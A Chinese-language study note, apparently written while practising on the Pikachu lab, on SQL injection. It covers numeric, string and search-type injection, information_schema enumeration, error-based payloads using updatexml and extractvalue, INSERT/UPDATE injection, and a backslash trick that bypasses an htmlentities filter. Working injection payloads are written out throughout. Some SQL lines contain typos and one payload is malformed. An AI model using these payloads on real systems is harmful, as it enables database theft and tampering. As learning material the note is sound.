注入概述
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
数据库命令
$id=_POST[$id];
select 字段名,字段名 from 表名 where 字段名='$id';
payload
注入类型可以大致分为
- 数字型注入
- 字符型注入
- 搜索型注入
主要都是通过把SQL语句使其闭合,构造合法SQL,从而达到欺骗后台执行
注释有三种
'#'
-- (空格)
/**/
补充部分sql语句
show databases;
use 数据库名字;
show tables;
desc 表名;
select username,email from member where id=1;
-
数字型注入
通过猜解SQL语句
大致可能是selec username,emali from member where id =1;
这样的可以构造成
selec username,email from member where id = 1 or 1=1;
-
字符型注入
通过猜解SQL语句
大致可能是
seclect usernaem,emali from member where username='$name';
这样的语句要求闭合掉单引号! -
搜索型注入
SQL语句大致可能为:
select username,email from member where username like '%字符%';
这个语句的特点是利用了 like来帮助搜索
和字符 数字的区别只有 加了个 % ’ 而已;
一样的payload
select username,email from member where username= '%....%' or 1=1 #%'
注意到后面的%'被我注释掉了
【前面提到了 注释的 三种方法 # – /**/
一般步骤拿下数据库方法
在mysql数据库中
有information_schema有mysql的详细信息
比如 在 information_schema.tables中就有
这样的 table_schema 和table_name两种 第一个是数据库的名字 第二个是数据库中的各个表的名字
另外 在information_schema.columns中是有
这样的 table_name column_name 前者是表名 后者是列名
我们在猜测数据库的详细信息时就可以通过上述的数据 做好payload
基于函数报错的注入
三个常用的报错函数
updatexml()、extractvalue()、floor()
在MYSQL中可以使用一些指定的函数来指定报错
// 前提: 报错不被屏蔽
updatexml()
MYSQL对XML文档数据进行查询和修改的XPATH函数
extractvalue()
函数是MYSQL对XML文档数据进行查询的XPATH函数
floor()
MYSQL中用来取整的函数。
payload 写法:kobe' and updatexml(1,version(),0)#
我们updatexml()函数传入的三个参数都是错的 自然它会报错
同时 我们的updatexml的第二个参数允许传递表达式
意思是 第二个参数 可以被执行
kobe' and updatexml(1,concat(0x7e,version()),0)#
concat
帮助我们组成一个完整的字符串输出
同样的可以执行表达式。
基本思路也有了
即我们可以把 version()
改成我们需要的sql语句。
如
kobe' and updatexml(1,concat(0x7e,(select username,email from pikachu.tables where username='???' limit 0,1)),0)
extractvalue()
这个函数的报错处理
kobe' and extactvalue(0,concat(0x7e,version()))#
floor()
取整函数 它的报错我还没弄懂…
基于update、insert
的注入
其实还是利用了报错注入的方式来帮助
基本的insert、update
操作
insert into 表名(字段名,字段名,字段名) values(???,???,???);
-- 它的闭合构造payload
-- 我们依靠报错来处理
insert into member(username,email) values('aaa' or updatexml(1,concat(0x7e,database()),0) or '','133254646@qq.com');
-- 我们的payload 是: aaa' or updatexml(1,concat(0x7e,(select username,email from member where username='liduoan' limit 0,1)),0) or '
-- 这样的插入来注入
-- update 一样的payload
补一道学校的题目
【一直不明白 ,问了师傅们终于知道了
看代码分析我们知道
对于stripslashes(String)
我们知道这是过滤\
符号的
htmlentities()
可以过滤掉单引号或者双引号
官方解释->htmlentities()
它必然过滤掉了'
这意味着我们不可以加'
注意到SQL语句select * from users where name=\''.$username.'\' and pass=\''.$password.'\';
怎么闭合name的'
号呢?
username=admin&password=…
先第一步转义之后会发现
where name=' ...' and pass='...';
如果这样呢?
where name=' ...and pass=' ...#
这样我只需要把它变成这样 name='admin \' and pass=' or 1 #
我原本一直不明白 \'
被转义成'
之后 这个'
不应该和name='
的这个'
闭合在一块吗?
一直百度谷歌查…都没查出来。。。
之后问了师傅们
师傅们是这么说的转义前是一个语法结构,转义后是一个普通字符
开开心心 ,弄懂了不会的东西。
payload为: ?username=admin\&password=or 1#